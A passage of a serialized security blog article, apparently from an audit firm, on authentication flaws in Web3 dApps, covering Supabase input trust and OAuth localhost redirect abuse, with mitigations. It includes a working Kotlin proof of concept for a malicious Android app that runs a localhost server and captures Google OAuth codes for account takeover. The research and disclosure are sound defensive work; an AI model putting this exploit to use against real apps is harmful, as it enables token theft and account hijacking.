:76838,"children":76839},{"style":356},[76840],{"type":29,"value":76841}," decodedPayload",{"type":24,"tag":327,"props":76843,"children":76844},{"style":381},[76845],{"type":29,"value":4809},{"type":24,"tag":327,"props":76847,"children":76848},{"style":356},[76849],{"type":29,"value":44241},{"type":24,"tag":327,"props":76851,"children":76852},{"style":346},[76853],{"type":29,"value":66},{"type":24,"tag":327,"props":76855,"children":76856},{"style":340},[76857],{"type":29,"value":45925},{"type":24,"tag":327,"props":76859,"children":76860},{"style":346},[76861],{"type":29,"value":349},{"type":24,"tag":327,"props":76863,"children":76864},{"style":340},[76865],{"type":29,"value":76817},{"type":24,"tag":327,"props":76867,"children":76868},{"style":346},[76869],{"type":29,"value":349},{"type":24,"tag":327,"props":76871,"children":76872},{"style":356},[76873],{"type":29,"value":76736},{"type":24,"tag":327,"props":76875,"children":76876},{"style":346},[76877],{"type":29,"value":14786},{"type":24,"tag":327,"props":76879,"children":76880},{"class":329,"line":481},[76881,76885,76889,76894,76898,76902,76907,76911,76915,76919],{"type":24,"tag":327,"props":76882,"children":76883},{"style":425},[76884],{"type":29,"value":4944},{"type":24,"tag":327,"props":76886,"children":76887},{"style":346},[76888],{"type":29,"value":1940},{"type":24,"tag":327,"props":76890,"children":76891},{"style":356},[76892],{"type":29,"value":76893},"header:",{"type":24,"tag":327,"props":76895,"children":76896},{"style":356},[76897],{"type":29,"value":76792},{"type":24,"tag":327,"props":76899,"children":76900},{"style":346},[76901],{"type":29,"value":2744},{"type":24,"tag":327,"props":76903,"children":76904},{"style":356},[76905],{"type":29,"value":76906},"payload:",{"type":24,"tag":327,"props":76908,"children":76909},{"style":356},[76910],{"type":29,"value":76841},{"type":24,"tag":327,"props":76912,"children":76913},{"style":346},[76914],{"type":29,"value":2744},{"type":24,"tag":327,"props":76916,"children":76917},{"style":356},[76918],{"type":29,"value":76745},{"type":24,"tag":327,"props":76920,"children":76921},{"style":346},[76922],{"type":29,"value":25809},{"type":24,"tag":327,"props":76924,"children":76925},{"class":329,"line":500},[76926,76930,76934,76938,76942],{"type":24,"tag":327,"props":76927,"children":76928},{"style":346},[76929],{"type":29,"value":487},{"type":24,"tag":327,"props":76931,"children":76932},{"style":425},[76933],{"type":29,"value":55131},{"type":24,"tag":327,"props":76935,"children":76936},{"style":346},[76937],{"type":29,"value":5894},{"type":24,"tag":327,"props":76939,"children":76940},{"style":356},[76941],{"type":29,"value":22387},{"type":24,"tag":327,"props":76943,"children":76944},{"style":346},[76945],{"type":29,"value":364},{"type":24,"tag":327,"props":76947,"children":76948},{"class":329,"line":529},[76949,76954,76958,76962,76966,76971,76975,76979],{"type":24,"tag":327,"props":76950,"children":76951},{"style":356},[76952],{"type":29,"value":76953},"        console",{"type":24,"tag":327,"props":76955,"children":76956},{"style":346},[76957],{"type":29,"value":66},{"type":24,"tag":327,"props":76959,"children":76960},{"style":340},[76961],{"type":29,"value":22387},{"type":24,"tag":327,"props":76963,"children":76964},{"style":346},[76965],{"type":29,"value":349},{"type":24,"tag":327,"props":76967,"children":76968},{"style":844},[76969],{"type":29,"value":76970},"'Error parsing token:'",{"type":24,"tag":327,"props":76972,"children":76973},{"style":346},[76974],{"type":29,"value":2744},{"type":24,"tag":327,"props":76976,"children":76977},{"style":356},[76978],{"type":29,"value":22387},{"type":24,"tag":327,"props":76980,"children":76981},{"style":346},[76982],{"type":29,"value":583},{"type":24,"tag":327,"props":76984,"children":76985},{"class":329,"line":538},[76986,76990,76995],{"type":24,"tag":327,"props":76987,"children":76988},{"style":425},[76989],{"type":29,"value":4944},{"type":24,"tag":327,"props":76991,"children":76992},{"style":334},[76993],{"type":29,"value":76994}," null",{"type":24,"tag":327,"props":76996,"children":76997},{"style":346},[76998],{"type":29,"value":405},{"type":24,"tag":327,"props":77000,"children":77001},{"class":329,"line":547},[77002],{"type":24,"tag":327,"props":77003,"children":77004},{"style":346},[77005],{"type":29,"value":535},{"type":24,"tag":327,"props":77007,"children":77008},{"class":329,"line":557},[77009],{"type":24,"tag":327,"props":77010,"children":77011},{"style":346},[77012],{"type":29,"value":592},{"type":24,"tag":235,"props":77014,"children":77015},{"id":47047},[77016],{"type":29,"value":47050},{"type":24,"tag":25,"props":77018,"children":77019},{},[77020,77022,77029,77031,77037],{"type":29,"value":77021},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":57,"props":77023,"children":77026},{"href":77024,"rel":77025},"https://supabase.com/docs/guides/database/postgres/row-level-security",[61],[77027],{"type":29,"value":77028},"Row-Level Security",{"type":29,"value":77030}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":284,"props":77032,"children":77034},{"className":77033},[],[77035],{"type":29,"value":77036},"app_metadata",{"type":29,"value":77038},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":228,"props":77040,"children":77042},{"id":77041},"oauth-in-development-environments",[77043],{"type":29,"value":77044},"OAuth in development environments",{"type":24,"tag":25,"props":77046,"children":77047},{},[77048,77050,77057,77059,77064],{"type":29,"value":77049},"After watching a ",{"type":24,"tag":57,"props":77051,"children":77054},{"href":77052,"rel":77053},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[61],[77055],{"type":29,"value":77056},"talk",{"type":29,"value":77058}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":284,"props":77060,"children":77062},{"className":77061},[],[77063],{"type":29,"value":76490},{"type":29,"value":77065}," parameter during the OAuth flow.",{"type":24,"tag":25,"props":77067,"children":77068},{},[77069,77071,77078],{"type":29,"value":77070},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":57,"props":77072,"children":77075},{"href":77073,"rel":77074},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[61],[77076],{"type":29,"value":77077},"Remote Code Execution",{"type":29,"value":77079}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":25,"props":77081,"children":77082},{},[77083,77085,77091],{"type":29,"value":77084},"In one of our client's implementations, we identified that ",{"type":24,"tag":284,"props":77086,"children":77088},{"className":77087},[],[77089],{"type":29,"value":77090},"localhost:3000",{"type":29,"value":77092}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":25,"props":77094,"children":77095},{},[77096],{"type":29,"value":77097},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":317,"props":77099,"children":77103},{"className":77100,"code":77101,"language":77102,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[77104],{"type":24,"tag":284,"props":77105,"children":77106},{"__ignoreMap":7},[77107],{"type":24,"tag":327,"props":77108,"children":77109},{"class":329,"line":330},[77110],{"type":24,"tag":327,"props":77111,"children":77112},{},[77113],{"type":29,"value":77101},{"type":24,"tag":25,"props":77115,"children":77116},{},[77117],{"type":29,"value":77118},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":317,"props":77120,"children":77124},{"className":77121,"code":77122,"language":77123,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[77125],{"type":24,"tag":284,"props":77126,"children":77127},{"__ignoreMap":7},[77128,77155,77162,77194,77216,77223,77231,77253,77265,77277,77312,77338,77388,77395,77402,77409,77417,77439,77474,77487,77494,77501,77522,77548,77560,77581,77598,77610,77636,77675,77696,77704,77716,77741,77753,77766,77774,77781,77789,77797,77804,77834,77841],{"type":24,"tag":327,"props":77129,"children":77130},{"class":329,"line":330},[77131,77136,77141,77146,77151],{"type":24,"tag":327,"props":77132,"children":77133},{"style":334},[77134],{"type":29,"value":77135},"class",{"type":24,"tag":327,"props":77137,"children":77138},{"style":1639},[77139],{"type":29,"value":77140}," MainActivity",{"type":24,"tag":327,"props":77142,"children":77143},{"style":346},[77144],{"type":29,"value":77145}," : ",{"type":24,"tag":327,"props":77147,"children":77148},{"style":1639},[77149],{"type":29,"value":77150},"AppCompatActivity",{"type":24,"tag":327,"props":77152,"children":77153},{"style":346},[77154],{"type":29,"value":9697},{"type":24,"tag":327,"props":77156,"children":77157},{"class":329,"line":367},[77158],{"type":24,"tag":327,"props":77159,"children":77160},{"emptyLinePlaceholder":16},[77161],{"type":29,"value":544},{"type":24,"tag":327,"props":77163,"children":77164},{"class":329,"line":408},[77165,77170,77174,77179,77184,77189],{"type":24,"tag":327,"props":77166,"children":77167},{"style":334},[77168],{"type":29,"value":77169},"    override",{"type":24,"tag":327,"props":77171,"children":77172},{"style":334},[77173],{"type":29,"value":13773},{"type":24,"tag":327,"props":77175,"children":77176},{"style":340},[77177],{"type":29,"value":77178}," onCreate",{"type":24,"tag":327,"props":77180,"children":77181},{"style":346},[77182],{"type":29,"value":77183},"(savedInstanceState: ",{"type":24,"tag":327,"props":77185,"children":77186},{"style":1639},[77187],{"type":29,"value":77188},"Bundle",{"type":24,"tag":327,"props":77190,"children":77191},{"style":346},[77192],{"type":29,"value":77193},"?) {\n",{"type":24,"tag":327,"props":77195,"children":77196},{"class":329,"line":421},[77197,77202,77206,77211],{"type":24,"tag":327,"props":77198,"children":77199},{"style":334},[77200],{"type":29,"value":77201},"        super",{"type":24,"tag":327,"props":77203,"children":77204},{"style":346},[77205],{"type":29,"value":66},{"type":24,"tag":327,"props":77207,"children":77208},{"style":340},[77209],{"type":29,"value":77210},"onCreate",{"type":24,"tag":327,"props":77212,"children":77213},{"style":346},[77214],{"type":29,"value":77215},"(savedInstanceState)\n",{"type":24,"tag":327,"props":77217,"children":77218},{"class":329,"line":450},[77219],{"type":24,"tag":327,"props":77220,"children":77221},{"emptyLinePlaceholder":16},[77222],{"type":29,"value":544},{"type":24,"tag":327,"props":77224,"children":77225},{"class":329,"line":481},[77226],{"type":24,"tag":327,"props":77227,"children":77228},{"style":551},[77229],{"type":29,"value":77230},"        // Start the Ktor web server\n",{"type":24,"tag":327,"props":77232,"children":77233},{"class":329,"line":500},[77234,77239,77244,77249],{"type":24,"tag":327,"props":77235,"children":77236},{"style":340},[77237],{"type":29,"value":77238},"        CoroutineScope",{"type":24,"tag":327,"props":77240,"children":77241},{"style":346},[77242],{"type":29,"value":77243},"(Dispatchers.IO).",{"type":24,"tag":327,"props":77245,"children":77246},{"style":340},[77247],{"type":29,"value":77248},"launch",{"type":24,"tag":327,"props":77250,"children":77251},{"style":346},[77252],{"type":29,"value":497},{"type":24,"tag":327,"props":77254,"children":77255},{"class":329,"line":529},[77256,77261],{"type":24,"tag":327,"props":77257,"children":77258},{"style":425},[77259],{"type":29,"value":77260},"            try",{"type":24,"tag":327,"props":77262,"children":77263},{"style":346},[77264],{"type":29,"value":497},{"type":24,"tag":327,"props":77266,"children":77267},{"class":329,"line":538},[77268,77273],{"type":24,"tag":327,"props":77269,"children":77270},{"style":340},[77271],{"type":29,"value":77272},"                startWebServer",{"type":24,"tag":327,"props":77274,"children":77275},{"style":346},[77276],{"type":29,"value":15298},{"type":24,"tag":327,"props":77278,"children":77279},{"class":329,"line":547},[77280,77285,77290,77294,77299,77303,77308],{"type":24,"tag":327,"props":77281,"children":77282},{"style":346},[77283],{"type":29,"value":77284},"                Log.",{"type":24,"tag":327,"props":77286,"children":77287},{"style":340},[77288],{"type":29,"value":77289},"d",{"type":24,"tag":327,"props":77291,"children":77292},{"style":346},[77293],{"type":29,"value":349},{"type":24,"tag":327,"props":77295,"children":77296},{"style":844},[77297],{"type":29,"value":77298},"\"WebServer\"",{"type":24,"tag":327,"props":77300,"children":77301},{"style":346},[77302],{"type":29,"value":2744},{"type":24,"tag":327,"props":77304,"children":77305},{"style":844},[77306],{"type":29,"value":77307},"\"Server started on http://localhost:3000\"",{"type":24,"tag":327,"props":77309,"children":77310},{"style":346},[77311],{"type":29,"value":852},{"type":24,"tag":327,"props":77313,"children":77314},{"class":329,"line":557},[77315,77320,77324,77329,77334],{"type":24,"tag":327,"props":77316,"children":77317},{"style":346},[77318],{"type":29,"value":77319},"            } ",{"type":24,"tag":327,"props":77321,"children":77322},{"style":334},[77323],{"type":29,"value":55131},{"type":24,"tag":327,"props":77325,"children":77326},{"style":346},[77327],{"type":29,"value":77328}," (e: ",{"type":24,"tag":327,"props":77330,"children":77331},{"style":1639},[77332],{"type":29,"value":77333},"Exception",{"type":24,"tag":327,"props":77335,"children":77336},{"style":346},[77337],{"type":29,"value":364},{"type":24,"tag":327,"props":77339,"children":77340},{"class":329,"line":586},[77341,77345,77349,77353,77357,77361,77366,77370,77375,77379,77383],{"type":24,"tag":327,"props":77342,"children":77343},{"style":346},[77344],{"type":29,"value":77284},{"type":24,"tag":327,"props":77346,"children":77347},{"style":340},[77348],{"type":29,"value":58175},{"type":24,"tag":327,"props":77350,"children":77351},{"style":346},[77352],{"type":29,"value":349},{"type":24,"tag":327,"props":77354,"children":77355},{"style":844},[77356],{"type":29,"value":77298},{"type":24,"tag":327,"props":77358,"children":77359},{"style":346},[77360],{"type":29,"value":2744},{"type":24,"tag":327,"props":77362,"children":77363},{"style":844},[77364],{"type":29,"value":77365},"\"Error starting server: ",{"type":24,"tag":327,"props":77367,"children":77368},{"style":334},[77369],{"type":29,"value":40820},{"type":24,"tag":327,"props":77371,"children":77372},{"style":381},[77373],{"type":29,"value":77374},"e.message",{"type":24,"tag":327,"props":77376,"children":77377},{"style":334},[77378],{"type":29,"value":40852},{"type":24,"tag":327,"props":77380,"children":77381},{"style":844},[77382],{"type":29,"value":1406},{"type":24,"tag":327,"props":77384,"children":77385},{"style":346},[77386],{"type":29,"value":77387},", e)\n",{"type":24,"tag":327,"props":77389,"children":77390},{"class":329,"line":1017},[77391],{"type":24,"tag":327,"props":77392,"children":77393},{"style":346},[77394],{"type":29,"value":65607},{"type":24,"tag":327,"props":77396,"children":77397},{"class":329,"line":1026},[77398],{"type":24,"tag":327,"props":77399,"children":77400},{"style":346},[77401],{"type":29,"value":8989},{"type":24,"tag":327,"props":77403,"children":77404},{"class":329,"line":1048},[77405],{"type":24,"tag":327,"props":77406,"children":77407},{"emptyLinePlaceholder":16},[77408],{"type":29,"value":544},{"type":24,"tag":327,"props":77410,"children":77411},{"class":329,"line":1067},[77412],{"type":24,"tag":327,"props":77413,"children":77414},{"style":551},[77415],{"type":29,"value":77416},"        // Open the Google OAuth page\n",{"type":24,"tag":327,"props":77418,"children":77419},{"class":329,"line":1075},[77420,77425,77430,77434],{"type":24,"tag":327,"props":77421,"children":77422},{"style":334},[77423],{"type":29,"value":77424},"        val",{"type":24,"tag":327,"props":77426,"children":77427},{"style":346},[77428],{"type":29,"value":77429}," googleOAuthUrl ",{"type":24,"tag":327,"props":77431,"children":77432},{"style":381},[77433],{"type":29,"value":384},{"type":24,"tag":327,"props":77435,"children":77436},{"style":844},[77437],{"type":29,"value":77438}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":327,"props":77440,"children":77441},{"class":329,"line":1084},[77442,77446,77451,77455,77460,77465,77469],{"type":24,"tag":327,"props":77443,"children":77444},{"style":334},[77445],{"type":29,"value":77424},{"type":24,"tag":327,"props":77447,"children":77448},{"style":346},[77449],{"type":29,"value":77450}," browserIntent ",{"type":24,"tag":327,"props":77452,"children":77453},{"style":381},[77454],{"type":29,"value":384},{"type":24,"tag":327,"props":77456,"children":77457},{"style":340},[77458],{"type":29,"value":77459}," Intent",{"type":24,"tag":327,"props":77461,"children":77462},{"style":346},[77463],{"type":29,"value":77464},"(Intent.ACTION_VIEW, Uri.",{"type":24,"tag":327,"props":77466,"children":77467},{"style":340},[77468],{"type":29,"value":45925},{"type":24,"tag":327,"props":77470,"children":77471},{"style":346},[77472],{"type":29,"value":77473},"(googleOAuthUrl))\n",{"type":24,"tag":327,"props":77475,"children":77476},{"class":329,"line":1100},[77477,77482],{"type":24,"tag":327,"props":77478,"children":77479},{"style":340},[77480],{"type":29,"value":77481},"        startActivity",{"type":24,"tag":327,"props":77483,"children":77484},{"style":346},[77485],{"type":29,"value":77486},"(browserIntent)\n",{"type":24,"tag":327,"props":77488,"children":77489},{"class":329,"line":1128},[77490],{"type":24,"tag":327,"props":77491,"children":77492},{"style":346},[77493],{"type":29,"value":535},{"type":24,"tag":327,"props":77495,"children":77496},{"class":329,"line":1148},[77497],{"type":24,"tag":327,"props":77498,"children":77499},{"emptyLinePlaceholder":16},[77500],{"type":29,"value":544},{"type":24,"tag":327,"props":77502,"children":77503},{"class":329,"line":1176},[77504,77509,77513,77518],{"type":24,"tag":327,"props":77505,"children":77506},{"style":334},[77507],{"type":29,"value":77508},"    private",{"type":24,"tag":327,"props":77510,"children":77511},{"style":334},[77512],{"type":29,"value":13773},{"type":24,"tag":327,"props":77514,"children":77515},{"style":340},[77516],{"type":29,"value":77517}," startWebServer",{"type":24,"tag":327,"props":77519,"children":77520},{"style":346},[77521],{"type":29,"value":9697},{"type":24,"tag":327,"props":77523,"children":77524},{"class":329,"line":1184},[77525,77530,77535,77539,77544],{"type":24,"tag":327,"props":77526,"children":77527},{"style":340},[77528],{"type":29,"value":77529},"        embeddedServer",{"type":24,"tag":327,"props":77531,"children":77532},{"style":346},[77533],{"type":29,"value":77534},"(CIO, port ",{"type":24,"tag":327,"props":77536,"children":77537},{"style":381},[77538],{"type":29,"value":384},{"type":24,"tag":327,"props":77540,"children":77541},{"style":397},[77542],{"type":29,"value":77543}," 3000",{"type":24,"tag":327,"props":77545,"children":77546},{"style":346},[77547],{"type":29,"value":364},{"type":24,"tag":327,"props":77549,"children":77550},{"class":329,"line":1192},[77551,77556],{"type":24,"tag":327,"props":77552,"children":77553},{"style":340},[77554],{"type":29,"value":77555},"            routing",{"type":24,"tag":327,"props":77557,"children":77558},{"style":346},[77559],{"type":29,"value":497},{"type":24,"tag":327,"props":77561,"children":77562},{"class":329,"line":1212},[77563,77568,77572,77577],{"type":24,"tag":327,"props":77564,"children":77565},{"style":334},[77566],{"type":29,"value":77567},"                get",{"type":24,"tag":327,"props":77569,"children":77570},{"style":346},[77571],{"type":29,"value":349},{"type":24,"tag":327,"props":77573,"children":77574},{"style":844},[77575],{"type":29,"value":77576},"\"{...}\"",{"type":24,"tag":327,"props":77578,"children":77579},{"style":346},[77580],{"type":29,"value":364},{"type":24,"tag":327,"props":77582,"children":77583},{"class":329,"line":4841},[77584,77589,77594],{"type":24,"tag":327,"props":77585,"children":77586},{"style":346},[77587],{"type":29,"value":77588},"                    call.",{"type":24,"tag":327,"props":77590,"children":77591},{"style":340},[77592],{"type":29,"value":77593},"respondHtml",{"type":24,"tag":327,"props":77595,"children":77596},{"style":346},[77597],{"type":29,"value":497},{"type":24,"tag":327,"props":77599,"children":77600},{"class":329,"line":4862},[77601,77606],{"type":24,"tag":327,"props":77602,"children":77603},{"style":340},[77604],{"type":29,"value":77605},"                        head",{"type":24,"tag":327,"props":77607,"children":77608},{"style":346},[77609],{"type":29,"value":497},{"type":24,"tag":327,"props":77611,"children":77612},{"class":329,"line":4870},[77613,77618,77623,77627,77632],{"type":24,"tag":327,"props":77614,"children":77615},{"style":340},[77616],{"type":29,"value":77617},"                            meta",{"type":24,"tag":327,"props":77619,"children":77620},{"style":346},[77621],{"type":29,"value":77622},"(charset ",{"type":24,"tag":327,"props":77624,"children":77625},{"style":381},[77626],{"type":29,"value":384},{"type":24,"tag":327,"props":77628,"children":77629},{"style":844},[77630],{"type":29,"value":77631}," \"UTF-8\"",{"type":24,"tag":327,"props":77633,"children":77634},{"style":346},[77635],{"type":29,"value":852},{"type":24,"tag":327,"props":77637,"children":77638},{"class":329,"line":4879},[77639,77643,77648,77652,77657,77662,77666,77671],{"type":24,"tag":327,"props":77640,"children":77641},{"style":340},[77642],{"type":29,"value":77617},{"type":24,"tag":327,"props":77644,"children":77645},{"style":346},[77646],{"type":29,"value":77647},"(name ",{"type":24,"tag":327,"props":77649,"children":77650},{"style":381},[77651],{"type":29,"value":384},{"type":24,"tag":327,"props":77653,"children":77654},{"style":844},[77655],{"type":29,"value":77656}," \"viewport\"",{"type":24,"tag":327,"props":77658,"children":77659},{"style":346},[77660],{"type":29,"value":77661},", content ",{"type":24,"tag":327,"props":77663,"children":77664},{"style":381},[77665],{"type":29,"value":384},{"type":24,"tag":327,"props":77667,"children":77668},{"style":844},[77669],{"type":29,"value":77670}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":327,"props":77672,"children":77673},{"style":346},[77674],{"type":29,"value":852},{"type":24,"tag":327,"props":77676,"children":77677},{"class":329,"line":4913},[77678,77683,77687,77692],{"type":24,"tag":327,"props":77679,"children":77680},{"style":340},[77681],{"type":29,"value":77682},"                            title",{"type":24,"tag":327,"props":77684,"children":77685},{"style":346},[77686],{"type":29,"value":349},{"type":24,"tag":327,"props":77688,"children":77689},{"style":844},[77690],{"type":29,"value":77691},"\"OAuth Redirect\"",{"type":24,"tag":327,"props":77693,"children":77694},{"style":346},[77695],{"type":29,"value":852},{"type":24,"tag":327,"props":77697,"children":77698},{"class":329,"line":4938},[77699],{"type":24,"tag":327,"props":77700,"children":77701},{"style":346},[77702],{"type":29,"value":77703},"                        }\n",{"type":24,"tag":327,"props":77705,"children":77706},{"class":329,"line":4974},[77707,77712],{"type":24,"tag":327,"props":77708,"children":77709},{"style":340},[77710],{"type":29,"value":77711},"                        body",{"type":24,"tag":327,"props":77713,"children":77714},{"style":346},[77715],{"type":29,"value":497},{"type":24,"tag":327,"props":77717,"children":77718},{"class":329,"line":4982},[77719,77724,77728,77732,77737],{"type":24,"tag":327,"props":77720,"children":77721},{"style":340},[77722],{"type":29,"value":77723},"                            h1",{"type":24,"tag":327,"props":77725,"children":77726},{"style":346},[77727],{"type":29,"value":1940},{"type":24,"tag":327,"props":77729,"children":77730},{"style":381},[77731],{"type":29,"value":394},{"type":24,"tag":327,"props":77733,"children":77734},{"style":844},[77735],{"type":29,"value":77736},"\"Google OAuth Redirect\"",{"type":24,"tag":327,"props":77738,"children":77739},{"style":346},[77740],{"type":29,"value":1949},{"type":24,"tag":327,"props":77742,"children":77743},{"class":329,"line":4990},[77744,77749],{"type":24,"tag":327,"props":77745,"children":77746},{"style":340},[77747],{"type":29,"value":77748},"                            script",{"type":24,"tag":327,"props":77750,"children":77751},{"style":346},[77752],{"type":29,"value":497},{"type":24,"tag":327,"props":77754,"children":77755},{"class":329,"line":4999},[77756,77761],{"type":24,"tag":327,"props":77757,"children":77758},{"style":381},[77759],{"type":29,"value":77760},"                                +",{"type":24,"tag":327,"props":77762,"children":77763},{"style":844},[77764],{"type":29,"value":77765},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":327,"props":77767,"children":77768},{"class":329,"line":5042},[77769],{"type":24,"tag":327,"props":77770,"children":77771},{"style":346},[77772],{"type":29,"value":77773},"                            }\n",{"type":24,"tag":327,"props":77775,"children":77776},{"class":329,"line":5075},[77777],{"type":24,"tag":327,"props":77778,"children":77779},{"style":346},[77780],{"type":29,"value":77703},{"type":24,"tag":327,"props":77782,"children":77783},{"class":329,"line":5083},[77784],{"type":24,"tag":327,"props":77785,"children":77786},{"style":346},[77787],{"type":29,"value":77788},"                    }\n",{"type":24,"tag":327,"props":77790,"children":77791},{"class":329,"line":5091},[77792],{"type":24,"tag":327,"props":77793,"children":77794},{"style":346},[77795],{"type":29,"value":77796},"                }\n",{"type":24,"tag":327,"props":77798,"children":77799},{"class":329,"line":5100},[77800],{"type":24,"tag":327,"props":77801,"children":77802},{"style":346},[77803],{"type":29,"value":65607},{"type":24,"tag":327,"props":77805,"children":77806},{"class":329,"line":5176},[77807,77812,77817,77822,77826,77830],{"type":24,"tag":327,"props":77808,"children":77809},{"style":346},[77810],{"type":29,"value":77811},"        }.",{"type":24,"tag":327,"props":77813,"children":77814},{"style":340},[77815],{"type":29,"value":77816},"start",{"type":24,"tag":327,"props":77818,"children":77819},{"style":346},[77820],{"type":29,"value":77821},"(wait ",{"type":24,"tag":327,"props":77823,"children":77824},{"style":381},[77825],{"type":29,"value":384},{"type":24,"tag":327,"props":77827,"children":77828},{"style":334},[77829],{"type":29,"value":9722},{"type":24,"tag":327,"props":77831,"children":77832},{"style":346},[77833],{"type":29,"value":852},{"type":24,"tag":327,"props":77835,"children":77836},{"class":329,"line":5209},[77837],{"type":24,"tag":327,"props":77838,"children":77839},{"style":346},[77840],{"type":29,"value":535},{"type":24,"tag":327,"props":77842,"children":77843},{"class":329,"line":5217},[77844],{"type":24,"tag":327,"props":77845,"children":77846},{"style":346},[77847],{"type":29,"value":592},{"type":24,"tag":25,"props":77849,"children":77850},{},[77851],{"type":29,"value":77852},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":25,"props":77854,"children":77855},{},[77856],{"type":29,"value":77857},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":235,"props":77859,"children":77861},{"id":77860},"mitigation-1",[77862],{"type":29,"value":47050},{"type":24,"tag":25,"props":77864,"children":77865},{},[77866,77868,77873],{"type":29,"value":77867},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":284,"props":77869,"children":77871},{"className":77870},[],[77872],{"type":29,"value":76490},{"type":29,"value":77874}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":228,"props":77876,"children":77877},{"id":10412},[77878],{"type":29,"value":226},{"type":24,"tag":25,"props":77880,"children":77881},{},[77882],{"type":29,"value":77883},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":25,"props":77885,"children":77886},{},[77887],{"type":29,"value":77888},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their 